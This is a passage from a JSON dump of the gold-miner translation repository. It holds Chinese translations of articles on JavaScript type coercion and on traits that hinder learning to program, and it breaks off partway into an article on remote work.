[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/1-2-3-9-looking-into-assembly-code-of-coercion.md",
    "content": "> * 原文地址：[[1] + [2] - [3] === 9!? Looking into assembly code of coercion](https://wanago.io/2018/04/02/1-2-3-9-looking-into-assembly-code-of-coercion/)\n> * 原文作者：[wanago.io](https://wanago.io)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/1-2-3-9-looking-into-assembly-code-of-coercion.md](https://github.com/xitu/gold-miner/blob/master/TODO1/1-2-3-9-looking-into-assembly-code-of-coercion.md)\n> * 译者：[sunhaokk](https://github.com/sunhaokk)\n> * 校对者：[Starrier](https://github.com/Starriers)、[Xekin-FE](https://github.com/Xekin-FE)\n\n# [1] + [2] - [3] === 9!? 类型转换深入研究\n\n变量值拥有多种格式。而且您可以将一种类型的值转换为另一种类型的值。这叫**类型转换**（也叫显式转换）。如果是在后台中尝试对不匹配的类型执行操作时发生, 叫 **强制转换**（有时也叫隐式转换）。在这篇文章中，我会引导你了解这两个过程，以便更好地理解过程。让我们一起深入研究！\n\n## 类型转换\n\n### 原始类型包装\n\n正如我[之前的一篇文章](https://wanago.io/2018/02/12/cloning-objects-in-javascript-looking-under-the-hood-of-reference-and-primitive-types/)所描述的那样,几乎 JavaScript 中的所有原始类型（除了 **null** 和 **undefined** 外）都有围绕它们原始值的对象包装。事实上，你可以直接调用原始类型的构造函数作为包装器将一个值的类型转换为另一个值。\n\n```\nString(123); // '123'\nBoolean(123); // true\nNumber('123'); // 123\nNumber(true); // 1\n```\n\n> 一些原始类型的包装器，String、Bollean、Number 不会保留很长时间，一旦工作完成，它就消失。（译者注：JS 中将数据分成两种类型，原始类型（基本数据类型）和对象类型（引用数据类型）。在对象类型中又有三种特殊类型的引用类型分别是，String、Boolean、Number。这三个就是基本包装类型。实际上，每当读取一个基本类型值的时候，后台就会创建一个对应的基本包装类型的对象，从而可以调用这些类型的方法来操作数据。）\n\n您需要注意，如果您这里使用了 new 关键字，就不再是当前实例。\n\n```\nconst bool = new Boolean(false);\nbool.propertyName = 'propertyValue';\nbool.valueOf(); // false\n\nif (bool) {\n  console.log(bool.propertyName); // 'propertyValue'\n}\n```\n\n由于 bool 在这里是一个新的对象（不是原始值），它的计算结果为 true。\n\n进一步分析\n\n```\nif (1) {\n  console.log(true);\n}\n```\n\n效果一样\n\n```\nif ( Boolean(1) ) {\n  console.log(true);\n}\n```\n\n不要畏惧，勇于尝试。 下面用 **Bash** 测试。（译者注：因为没有找到源文件，所以我猜测这里的意思是使用的 if1.js 和 if2.js 是上文的 if 语句文件，这里通过 print-code 输出汇编代码。然后通过 awk 打印汇编文件每句第 4 列字符串到文件里。最后对比两个文件是否一致。借以推论出上面两句 if 在程序中的执行是一致的。）\n\n1. 使用 node.js 将代码编译到程序中\n\n```\n$ node --print-code ./if1.js >> ./if1.asm\n```\n\n```\n$ node --print-code ./if2.js >> ./if2.asm\n```\n\n2. 准备一个脚本来比较第四列（汇编操作数）- 我故意跳过这里的内存地址，因为它们可能有所不同。\n\n```\n#!/bin/bash\n\nfile1=$(awk '{ print $4 }' ./if1.asm)\nfile2=$(awk '{ print $4 }' ./if2.asm)\n\n[ \"$file1\" == \"$file2\" ] && echo \"文件匹配\"\n```\n\n3. 运行\n\n```\n\"文件匹配\"\n```\n\n### parseFloat 函数\n\n这个函数的作用类似于 **Number** 的构造函数，但对于传递的参数来说不那么严格。如果它遇到一个不能成为数字一部分的字符，它将返回一个到该点的值并忽略其余字符。\n\n```\nNumber('123a45'); // NaN\nparseFloat('123a45'); // 123\n```\n\n\n### parseInt 函数\n\n它在解析数字时将数字向下舍入。它可以使用不同的基数。\n\n```\nparseInt('1111', 2); // 15\nparseInt('0xF'); // 15\n\nparseFloat('0xF'); // 0\n```\n\n函数 parseInt 可以猜测基数或让它作为第二个参数传递。有关其中需要考虑的规则列表，请查看 [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt)。\n\n如果传入的数值过大会出问题，所以它不应该被认为是 [**Math.floor**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor) (它也会进行类型转换)的替代品：\n\n```\nparseInt('1.261e7'); // 1\nNumber('1.261e7'); // 12610000\nMath.floor('1.261e7') // 12610000\n\nMath.floor(true) // 1\n```\n\n### toString 函数\n\n您可以使用 **toString** 函数将值转换为字符串。这个功能的实现在原型之间有所不同。\n\n> 如果您觉得您希望更好地理解原型的概念，请随时查看我的其他文章： [Prototype. The big bro behind ES6 class](https://wanago.io/2018/03/19/prototype-the-big-bro-behind-es6-class/)。\n\n#### String.prototype.toString 函数\n\n返回一个字符串的值\n\n```\nconst dogName = 'Fluffy';\n\ndogName.toString() // 'Fluffy'\nString.prototype.toString.call('Fluffy') // 'Fluffy'\n\nString.prototype.toString.call({}) // Uncaught TypeError: String.prototype.toString requires that 'this' be a String\n```\n\n#### Number.prototype.toString 函数\n\n返回转换为 String 的数字（您可以将 appendix 作为第一个参数传递）\n\n```\n(15).toString(); // \"15\"\n(15).toString(2); // \"1111\"\n(-15).toString(2); // \"-1111\"\n```\n\n#### Symbol.prototype.toString 函数\n\n返回  `Symbol(${description})`\n\n> 如果你对此感到疑问： 我这里使用的是 [template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals)的方式，它可以向你解释是怎么输出这种字符串的。\n\n#### Boolean.prototype.toString 函数\n\n返回 “true” 或 “false”\n\n#### Object.prototype.toString 函数\n\nObject 调用内部 **[[Class]]** 。它是代表对象类型的标签。\n\n**Object.prototype.toString** 返回一个 `[object ${tag}]` 字符串。 要么它是内置标签之一 (例如  “Array”, “String”, “Object”, “Date” ), 或者它被明确设置。\n\n```\nconst dogName = 'Fluffy';\n\ndogName.toString(); // 'Fluffy' （在这调用 String.prototype.toString ）\nObject.prototype.toString.call(dogName); // '[object String]'\n```\n\n随着 ES6 的推出，设置标签可以使用 [**Symbols**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)来完成。\n\n```\nconst dog = { name: 'Fluffy' }\nconsole.log( dog.toString() ) // '[object Object]'\n\ndog[Symbol.toStringTag] = 'Dog';\nconsole.log( dog.toString() ) // '[object Dog]'\n```\n\n```\nconst Dog = function(name) {\n  this.name = name;\n}\nDog.prototype[Symbol.toStringTag] = 'Dog';\n\nconst dog = new Dog('Fluffy');\ndog.toString(); // '[object Dog]'\n```\n\n你也可以在这里使用 ES6 类和 getter：\n\n```\nclass Dog {\n  constructor(name) {\n    this.name = name;\n  }\n  get [Symbol.toStringTag]() {\n    return 'Dog';\n  }\n}\n\nconst dog = new Dog('Fluffy');\ndog.toString(); // '[object Dog]'\n```\n\n#### Array.prototype.toString 函数\n\n在每个元素上调用 **toString** 并返回一个字符串，所有的输出用逗号分隔。\n\n```\nconst arr = [\n  {},\n  2,\n  3\n]\n\narr.toString() // \"[object Object],2,3\"\n```\n\n## 隐式转换\n\n如果您了解类型转换的工作原理，那么理解隐式转换会容易得多。\n\n## 数学运算符\n\n### 加符号\n\n当在字符串与操作数之间使用 + 时结果将返回一个字符串。\n\n```\n'2' + 2 // 22\n15 + '' // '15'\n```\n\n你可以用加符号将一个操作数转换为数字：\n\n```\n+'12' // 12\n```\n\n### 其他数学运算符\n\n其他数学运算符，例如 `-` 或 `/` 操作，将自动转成数字。\n\n```\nnew Date('04-02-2018') - '1' // 1522619999999\n'12' / '6' // 2\n-'1' // -1\n```\n\n日期, 转成数字 [Unix 时间戳](https://en.wikipedia.org/wiki/Unix_time)。\n\n## 叹号\n\n如果原始值是 false 的，则使用它将输出 true，如果 true，则输出为 false。因此，如果使用两次，它可以用于将该值转换为相应的布尔值。\n\n```\n!1 // false\n!!({}) // true\n```\n\n## ToInt32 按位或\n\n值得一提的是，即使 ToInt32 实际上是一个抽象操作（仅限内部，不可调用），它也会把一个值转换为[带符号 32 位整型](https://en.wikipedia.org/wiki/32-bit)。\n\n```\n0 | true          // 1\n0 | '123'         // 123\n0 | '2147483647'  // 2147483647\n0 | '2147483648'  // -2147483648 (too big)\n0 | '-2147483648' // -2147483648\n0 | '-2147483649' // 2147483647 (too small)\n0 | Infinity      // 0\n```\n\n当其中一个操作数为 0 时执行按位或操作将导致不改变另一个操作数的值。\n\n### 其他隐式转换\n\n在编码时，您可能会遇到更多隐式转换的情况。考虑这个例子\n\n```\nconst foo = {};\nconst bar = {};\nconst x = {};\n\nx[foo] = 'foo';\nx[bar] = 'bar';\n\nconsole.log(x[foo]); // \"bar\"\n```\n\n发生这种情况是因为 foo 和 bar 在转换为字符串时都会转成 “[object Object]” 。真正发生的是这样的：\n\n```\nx[bar.toString()] = 'bar';\nx[\"[object Object]\"]; // \"bar\"\n```\n\n隐式转换在 [template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals)也会发生。尝试在这里重载 **toString** 函数：\n\n\n```\nconst Dog = function(name) {\n  this.name = name;\n}\nDog.prototype.toString = function() {\n  return this.name;\n}\n\nconst dog = new Dog('Fluffy');\nconsole.log(`${dog} is a good dog!`); // \"Fluffy is a good dog!\"\n```\n隐式转换也是为什么**比较运算符**（==）可能被认为是不好的做法，因为如果它们的类型不匹配，它会尝试通过强制转换进行匹配。\n\n查看这个例子以获得一个关于比较的有趣事实：\n\n```\nconst foo = new String('foo');\nconst foo2 = new String('foo');\n\nfoo === foo2 // false\nfoo >= foo2 // true\n```\n\n因为我们在这里使用了 **new** 关键字，所以 foo 和 foo2 都保留了它们的原始值（这是 'foo' ）的包装。由于他们现在正在引用两个不同的对象， `foo === foo2` 结果为 false。关系操作 ( `>=` ) 在两边调用 **valueOf** 函数。因此，在这里比较原始值内存地址, `'foo' >= 'foo'` 返回 **true**。\n\n## [1] + [2] – [3] === 9\n\n我希望所有这些知识能帮助你揭开本文标题中问题的神秘面纱。让我们揭开它吧！\n\n1. `[1] + [2]` 这些转换应用 **Array.prototype.toString** 规则然后连接字符串。结果将是 `\"12\"`。\n  * `[1,2] + [3,4]` 结果是 `\"1,23,4\"`。\n2. `12 - [3]` 将导致 `12` 减 `\"3\"` 得 `9`\n  * `12 - [3,4]` 因为 `\"3,4\"`不能转成数字所以得 **NaN** \n\n## 总结\n\n尽管很多人可能会建议你避免隐式转换，但我认为了解它的工作原理非常重要。依靠它可能不是一个好主意，但它对您在调试代码和避免首先出现的错误方面大有帮助。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/10-signs-you-will-suck-at-programming.md",
    "content": "> * 原文地址：[10 Signs You Will Suck at Programming](https://blog.usejournal.com/10-signs-you-will-suck-at-programming-5497a6a52c5c)\n> * 原文作者：[Jonathan Bluks](https://medium.com/@jonathanbluks)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/10-signs-you-will-suck-at-programming.md](https://github.com/xitu/gold-miner/blob/master/TODO1/10-signs-you-will-suck-at-programming.md)\n> * 译者：[xionglong58](https://github.com/xionglong58)\n> * 校对者：[renyuhuiharrison](https://github.com/renyuhuiharrison), [yzw7489757](https://github.com/yzw7489757)\n\n# 10 个迹象让你不能做一名成功的程序员\n\n![More Stickers Doesn’t Make You More Better. — **Photo by [Tim Gouw](https://unsplash.com/@punttim?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)**](https://cdn-images-1.medium.com/max/4096/0*cF-7zKh4jqldcDf2)\n\n我经常在 Reddit、Quora 上遇到有人问，“怎样才能知道我将来会不会成为一名成功的程序员？”（事实上，这篇文章实际上是我在 [Quora 上给出的答案](https://www.quora.com/What-are-the-signs-that-show-you-wont-succeed-as-a-programmer/answer/Jonathan-Bluks)的一个扩展。）当人们考虑更换职业，或者是对软件开发感兴趣，并且对它需要些什么感到好奇时，不可避免地会出现编程问题。\n\n我认为对没有受过任何正规计算机培训的人来说，这是一个主要障碍。你会很自然地认为，如果你不擅长编程，那么你是不可能成功的。这有点像你想成为一名演员，并想知道你是否擅长表演。\n\n作为一名 Web 全栈开发讲师，我教过很多“初学程序员”。好消息是我很少发现有无法学习编程的学生。我认为它是人类的一种基本技能，就像阅读、写作和算术一样。任何人都可以做到，这是我们人类能力的一部分，但也确实需要学习。\n\n在过去两年的教学中，我看到有很多学生努力学习编程，同时，还发现在他们的学习过程中出现的一些共同问题。**如果你看一下下面的清单并联系自身情况，请放心，你会在编程的过程中受挫**并且应该在你受挫时做点什么。但是，如果你仍然致力于成为开发人员的目标，那么你可以轻松地面对这些问题并做出改变。\n\n> 编程是人类的基本技能，就像阅读、写作和算术一样。任何人都可以通过时间和努力学习编程。\n\n下面的清单将帮助你了解你是否会在编程方面受挫，以及如果你想改变它，你可以做些什么。\n\n***\n\n## 1 | 缺乏好奇心\n\n> 如果你对计算机和技术原理的缺乏好奇心，作为一个程序员，你将永远不会成功。\n\n学习的基本要求是对你正在学习的东西有积极兴趣。如果你没有对技术感到好奇的头脑，你就没有足够的干劲去坚持学习成功码农必备的更全面更深入的知识。\n\n相比之下，技术世界就像是一片汪洋大海，它充满了有趣的领域，互相关联的思想，以及激发人类想象力的各种可能性。\n\n> **找到你的好奇心**：问问自己是否真的对编程感兴趣。如果你诚实的答案是没有，那么还是去寻找你感兴趣的东西吧，节省你自己的时间和精力。但是，如果你的回答是“是”，那么请你自己找一些你之前没有注意到的新东西，意识到这是一个浩瀚的海洋并深入其中。\n\n## 2 | 缺乏主动和灵活多变\n\n> 如果你不培养独立解决问题的能力，你就永远不会成为一个成功的程序员。\n\n毫无疑问，要成为一个成功的开发人员，你必须对自己的学习能力充满信心。这实际上是一项基本的生活技能 —— 如果你已经过了18岁，没有人有义务教你任何东西。这就是现实。你得自行查找信息，并帮助你去了解对自己来说哪些是重要的信息。\n\n在发展的世界里，你所需要的所有信息都可以在一个神奇的地方找到，这个地方以前被称为**信息高速公路**。这个庞大的图书馆有一个巨大的入口：[谷歌](https://www.google.com)。当你想获得技术中所需的技能时，首先要跨越的障碍是学会在谷歌中输入你想要的任何东西并获取你需要的信息。\n\n除了要做一个优秀的 googler，所有编程语言都有文档和规范，这些文档和规范**非常**明确地说明了该语言的工作方式。就像用字典一样 —— 当你看到一个你不认识的词时，你就会在字典中查出来。作为一名程序员，最快速、最可靠的方法就是直接阅读文档。就是这么简单。\n\n> **利用资源**：要意识到所有你需要的答案都在那儿等着你。向别人寻求答案之前，一定得要求自己先使用谷歌，同时要翻阅文档。这样当你已经尝试过却没有找到你需要的答案时，也能够节省他人的时间。\n\n## 3 | 面对问题时缺乏毅力\n\n> 如果你在面对问题时轻易放弃，那么作为一名程序员，你永远不会成功。\n\n编程的本质是解决问题。这也是发明计算机的全部原因！每当你开始编写程序时，你都会遇到一堆问题。一旦你解决了一个问题，它背后可能又会有另一个问题。你**正在**取得进步，但总会遇到**新**问题。\n\n面对一堆的问题可能会让人望而生畏、令人沮丧的。如果你觉得程序就应该是“正常工作”，那么当问题持续出现，一点一点地击溃你的信心时，你就没有精力再坚持下去。 确切地说你的工作就是找出程序为什么不能正常工作。\n\n根据我在课堂上的经验，通常每个班都有一两个学生，他们似乎比其他学生更擅长发现那些不太常见、令人费解的问题。我提醒学生，他们面对的问题越多，学习越深入和透彻的可能性就越大。如果他们能通过这些问题获得理解，他们会很快发现他们更自信，因为他们面对和解决的问题比普通学生多。\n\n> **耐心地接受**：你需要意识到问题是不可避免的，问题本身不是问题，其事实上对你的挑战。你面临和克服的每一个挑战都会让你更深入地了解并更好地应对新挑战，从而迅速解决旧的挑战。\n\n## 4 | 克服问题时没有成就感\n\n> 如果你在解决问题后没有感到兴奋和成就感，那么作为一名程序员，你永远不会成功。\n\n与前一个问题相关的是，一旦你成功地解决了一个问题，就缺乏“良好的感觉”。当修复 bugs 和问题变成了一个永远不会停止的单调工作时，你就会失去与克服问题的兴奋感。\n\n当你克服一个问题时，你需要的是多巴胺的释放。这类似于在视频游戏中完成一个关卡，或者解决一个像纵横填字游戏或数独这样的挑战。我们都知道坚持通过一个挑战，然后最终赢得比赛会有一种很好的感觉。但是如果你失去了感受这些感觉的能力，或者一开始从来没有真正在意过这些感受，那么你将无法体验到编程带来的快乐。如果你把编程看作是一种痛苦，你只想尽可能容易地得到结果，那么你永远不会真正成为一个成功的程序员。\n\n> **庆祝胜利**：每当你解决了一个你一直在努力解决的问题时，不管这个问题有多小，都要为你的成就感到自豪，休息一下，并祝贺你自己完成了一项出色的工作。让成功的感觉渗透进身体，让你在面临下一个问题充满活力。\n\n## 5 | 对于学习和理解没有耐心\n\n> 如果你对学习不耐烦，并且期望能够快速而轻松地掌握所有东西，那么你将永远不会在编程上成功。\n\n我们人类并不是完美的生物。即使世界的前进速度变得越来越快，计算机是其中的一个重要原因，我们也只能尽可能快地前进。我们的大脑以一定的速度工作，并且依赖我们的过去、我们的信念、我们的情绪状态、我们的健康...，我们将以不同的速度学习和整合信息。\n\n技术的世界就像一片广阔的海洋。 你永远不会走到尽头，你永远不会成为一个没有其他东西可以学习的高手。如果你让自己负担过重，你就会总有“追赶”的感觉，并总觉得自己知道的不够多。如果你不能接受你所知道的东西后再去学习一点，你就会迷失自我，然后放弃。\n\n相反，你应该享受学习之旅。你获得的每一点知识，或是新技能，都应该是让你感到兴奋。像解决问题一样，你需要让自己感到自豪，因为你认识到自己已经向前迈出了一步，即使这是一个很小的一步。\n\n> **认可你的进步**：要学的东西有很多，编程的旅途永远不会结束。但是知识是需要累积的，所以要为你所知道的感到自豪，并且相信你在学习中所做的每一个努力都将为你的职业生涯打下一个坚实的知识基础。\n\n## 6 | 对思考问题感到厌烦或疲惫\n\n> 如果你懒于思考，把集中注意力的思考当成乏味无聊的任务，那么你将永远不会在编程上成功。\n\n编程是一种思考活动。作为人类，我们确实擅长思考，但事实是，即使每天都在不自觉地思考，我们仍懒于去主动思考。如果你不养成思考问题的习惯，那么很难在一段时间内集中精力解决一个问题。\n\n这种情况的症状包括：茫然地盯着屏幕、感觉一团云笼罩着你、拖延问题、在浏览器标签之间来回切换，拼命地浏览 StackOverflow 寻找“答案”。这些迹象表明，你的精神已经受限，需要找到一条出路。\n\n在编程的时候，你会感到疲倦，并且思考就像锻炼身体一样消耗体力。当你不习惯运用你所需的精神力量时，你将很难集中注意力。但这就像去健身房一样，你实际操作的越多，你就会变得越强壮。\n\n> **你的精神如同肌肉**：请相信，你的大脑就像一块肌肉 —— 当你不停使用它的时候，它在思考过程中才会变得更好和更有效率。当你把各个部件拼凑在一起并运用精神时，会发现解决方案变得容易了很多。\n\n## 7 | 无法独立思考\n\n> 如果你期望着别人替你思考，并且不愿意认真审视自己的处境，你将永远不会成为一个真正成功的程序员。\n\n当你在学习新的东西时，很容易觉得你缺乏知识和经验来支撑自己的观点。采取主动或做错事/说错话似乎有风险。\n\n我们对犯错有一种固有的恐惧感。当对犯错的恐惧抑制了你的探索和好奇心时，就会扼杀你获取真正知识的能力，知识是从经验和“失败”中获得的。 当你需要依赖“大师”的观点、热门博主、最佳实践或“教科书”答案时，那么说明你还没有真正融合对编程的有用知识。\n\n你需要对什么有用，什么没用形成自己的观点。需要明白为什么你觉得你的解决方案有用，以及它的好处是什么。需要建立一个微妙的视角，去超越那些显而易见的东西。你需要能够为你的观点“辩护”，然后在这个过程中，如果你发生了改变，你就可以拥有新的观点。\n\n> **自己多想想**：通过你的经验和批判性思维技巧建立你自己的观点。做出合理的猜测，坚定立场，并愿意随着新信息的出现而做出改变。\n\n## 8 | 僵化、狭隘、混乱的思维\n\n>如果你的思维僵化，那么你将很难通过扩展思维的条理化和集中化保持代码的条理化，僵化的思维让你永远不会在编程上取得成功。\n\n我有时在学生中会看到两个极端。第一种是僵化和狭隘的思维方式。这种态度拒绝帮助、不在乎反馈、不会做出改变，只从一个角度出发看事情，忽略他人的意见。\n\n我看到的第二种极端是思维混乱。学生们似乎使事情变得的复杂化，他们的代码杂乱无章，难以理解。他们过度思考问题，原本 10 行代码就足够解决问题，他们硬是写出 100 行的代码。\n\n当这两种思维方式结合在一起时，结果就是一种极端保守的编程方法，就像导致一层又一层的修复和“黑客攻击”的一种蛮力方法。我们需要的是重新审视解决方案、重新评估它、放弃最初的方法和重新组织的能力。\n\n无法看到其他可能性或接受反馈会抑制成长和提升的能力。杂乱无章会减慢你的速度，阻止你看到那些原本显而易见的方法，你的工作质量也会下降。\n\n> **自我反省**：你需要退后一步，以便总览全局。你怎么才能做得更好？你能做些什么让你的生活更轻松吗？你错过了哪些可以帮助到你的东西？\n\n## 9 | 需要“正确”的答案，而不是鉴别出“好”和“坏”的答案\n\n> 如果你认为编程的最终目标是找到一个正确的解决方案，而不是一系列解决方案，那么作为一个程序员，你将永远不会真正成功。\n\n当学生开始学习技能或编程时，往往他们都想知道自己所做的是否是“正确的”，而答案总是“视情况而定”。\n\n计算机科学是一门评估权衡的科学。在不同的环境下，哪条路更好？这完全取决于具体的环境和目标。当你把编程看作是一个有正确答案或错误答案的测试时，你就失去了对全局的认识，也放弃了你的创造力。任何答案都可以是“正确的”，前提是你能根据具体情况证明这一点。\n\n现实情况是，编程更像是写诗或写短篇小说（如果程序很大，则可能是小说）。在你的代码中可以看到一种美学和美感，有时只有你和其他一些程序员能读懂。你的解决方案的理由，以及构思答案的思路，比“正确的方式”或“错误的方式”更重要。拥有一个艺术家的头脑可以让你玩转选项和可能性，而不是认为只有一种方式。这就是编程的美，有很多方法可以解决一个问题，对不同可能性的权衡会让人感觉哪种方法最适合眼下的情况。\n\n> **来点创意:** 认识到解决问题的方法有很多种，通过经验和对问题的解析，随着时间的积累，你将懂得如何辨析最优方案，你就会产生细微的理解。纵观全局，去想象不同的可能性，相信你的直觉，你会得到更令人满意的更好的解决方案。\n\n## 10 | 不注意细节\n\n> 如果你掩盖细节，忽略一些小事情，你将永远不会成为一个真正成功的程序员。\n\n计算机是精确的机器。当涉及到计算机编程时，你需要按照计算机期望的方式**明确地**提供必要的命令。如果你不这样做，什么都不会奏效。完全没有折中 —— 要么能，要么不能。\n\n这意味着当你在编程时，你必须注意细节。每个空格、括号或分号都要考虑。如果稍有不对，一切都是白谈。当计算机打印出一条错误信息时，你必须能够审查信息并准确理解它想要所告诉你的内容。事实是，如果你错过了一些细节，你可能要花几个小时来找 bug，但实际上只是一个输入错误导致的问题。\n\n正如他们所说，魔鬼在细节中，这对于编程来说绝对是正确的。\n\n> **注意细节**：细节很重要，你必须接受它。一旦你注重细节，你就可以开始通过浏览你的代码找出任何不合适的地方。你要能够有条不紊地组织好代码，并借助工具来更快地处理问题。\n\n## 额外补充: 商业化的思维\n\n这是我注意到这样一个现象 —— 那些特别有商业头脑的学生，往往关注结果而不是过程。他们希望得到一个“可以使用的 app”，这将推动他们的商业理念向前发展，他们希望“先进入市场”，并且他们将经验积累视为他们实现商业目标的障碍。\n\n在回顾那些难以在帮助下成长为程序员的学生时，我发现对于学习过程的不耐烦，阻碍了真正地理解技术。这些学生倾向于将技术视为达到目的的手段，而不是真正地探索和享受的知识。\n\n作为对此的一个自然延伸，我发现有些学生更倾向于经商，他们在学习上很吃力，但通常会很快让自由职业客户报名参加他们自己实际上都不会的工作。他们迅速地寻找资源/模板来让项目获得客户的满意，或者将工作外包给其他人。 **他们确实不擅长编程，但却很擅长让人们付钱给他们编程!**\n\n所以我想补充的是，那些渴望创业的学生，他们在销售、人际关系和商业发展方面都很优秀，但比其他人更难以学习编程技能。他们天生渴望创造生财的门路，并将人们与解决方案联系起来，这让他们对编程中繁琐的细节失去了耐心。\n\n## 总结\n\n***\n\n虽然编程是一项很难学习的技能，但它肯定是大多数人都能学的。上面的清单包含了阻碍学习的一些态度和思维方式，但是大多数人可以克服它们，并在编程领域发展自己的能力 —— 如果不是精通的话。\n\n如果你对学习编程感兴趣，我鼓励你开始这个旅程。记住上面的清单，网上有很多可以让你快速前进的资源，快去探索吧，你不会后悔的。\n\n**免责声明：根据我作为教育工作者和 Web 开发人员的专业经验，这里所表达的观点完全是我自己的，它们不代表BrainStation 的观点。**\n\n***\n\n![](https://cdn-images-1.medium.com/max/4000/1*f2IVAl0TbsfES9cFGYr40g.png)\n\n***\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/10-things-ive-learned-from-working-remotely.md",
    "content": "> * 原文地址：[10 things I've learned from working remotely](https://dev.to/lkopacz/10-things-ive-learned-from-working-remotely-240h)\n> * 原文作者：[Lindsey Kopacz](https://dev.to/lkopacz)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/10-things-ive-learned-from-working-remotely.md](https://github.com/xitu/gold-miner/blob/master/TODO1/10-things-ive-learned-from-working-remotely.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[smallfatS](https://github.com/smallfatS), [KarthusLorin](https://github.com/KarthusLorin)\n\n# 在远程工作中领悟到的 10 件事\n\n人们对于远程工作的态度往往大相径庭，要么捧上天，要么贬下地。在阅读大量文章以及亲身体验之后，我决定去写一些我学到的东西来帮助那些对此持怀疑态度的人。到目前为止，我已经远程工作了 16 个月，对那套常用流程也已熟练掌握。\n\n1. 学会设置规则，哪怕是自我监督的规则\n\n在家工作最困难部分在于，如果你并不善于规划安排，将会难以区分生活与工作。当你在公司工作时，仿佛有一道无形的界限，将你与生活状态隔绝开来。当你踏入工作场所，你就身处工作之中；当你离开，你就回归生活。如果没有这道界限，你将难以区分工作与生活。\n\n这是我为自己建立规则所做的事情：\n\n- 我工作时从不穿睡衣，总会换上一套衣服再开始办公。换什么衣服并不重要，T 恤搭配牛仔裤就可以，重点是换衣服这个习惯无形中立下一条规矩：穿上睡衣我就该睡觉就该休息了。\n- 此外，我从不在床上工作。\n- 我有一个专门用于工作的办公室。我不在公共区工作，因为我更喜欢把它当成“家”。\n- 我遵守自己的开会时间。如果我有一个早些时间的会议，我会在自己的日历上设置一个 8 小时之后才会响的“离开办公室”的闹钟。如果是会议稍晚，那就做一个相反的决定，然后开始工作。我对我的经理坦率地说，我不想工作超过 8 个小时。我对职员过度加班没有意见。但是如果你在一家好公司，他们应该尊重你的工作，而不是去占据你一整天的时间。\n\n## 2. 有一个晨间计划\n\n晨间计划对我来说非常重要。我无法理解人们是如何直接从床上起来，然后打开电脑开始工作的。对我来说，醒着和“去工作”之间的间断非常重要，因为这对我的心理健康真的很有帮助。我一般在早晨 7 点左右醒来，然后在 9:30 左右开始上网工作。\n\n我的晨间计划是这样的：\n\n- 起床  \n- 去健身房，举铁或做些有氧运动\n- 做早饭，放下所有工作享受早餐  \n- 沉思  \n- 看杂志（这个不一定每天，工作繁忙时会多读一些）\n- 在博客上工作  \n- 工作签到\n\n## 3. 养宠物很有帮助\n\n当我养了自己的小猫时，我的生活质量也提高了很多。事实上，我为了它拒绝了一些机会，我不想让它离开我（我的另一半认为这很愚蠢，他根本不知道身边有只小猫的感觉有多好）。我敢肯定，如果你有一只小狗，情况应该也会类似。我可以想象你带着狗一起散步，伸展双腿的情景。而我的猫，则会坐在我旁边小憩，每当遇着难事心情不顺，看看这只小猫真的很治愈。\n\n## 4. 休息一下，特别是当你感到情绪激动和压力很大的时候\n\n我每小时休息 5 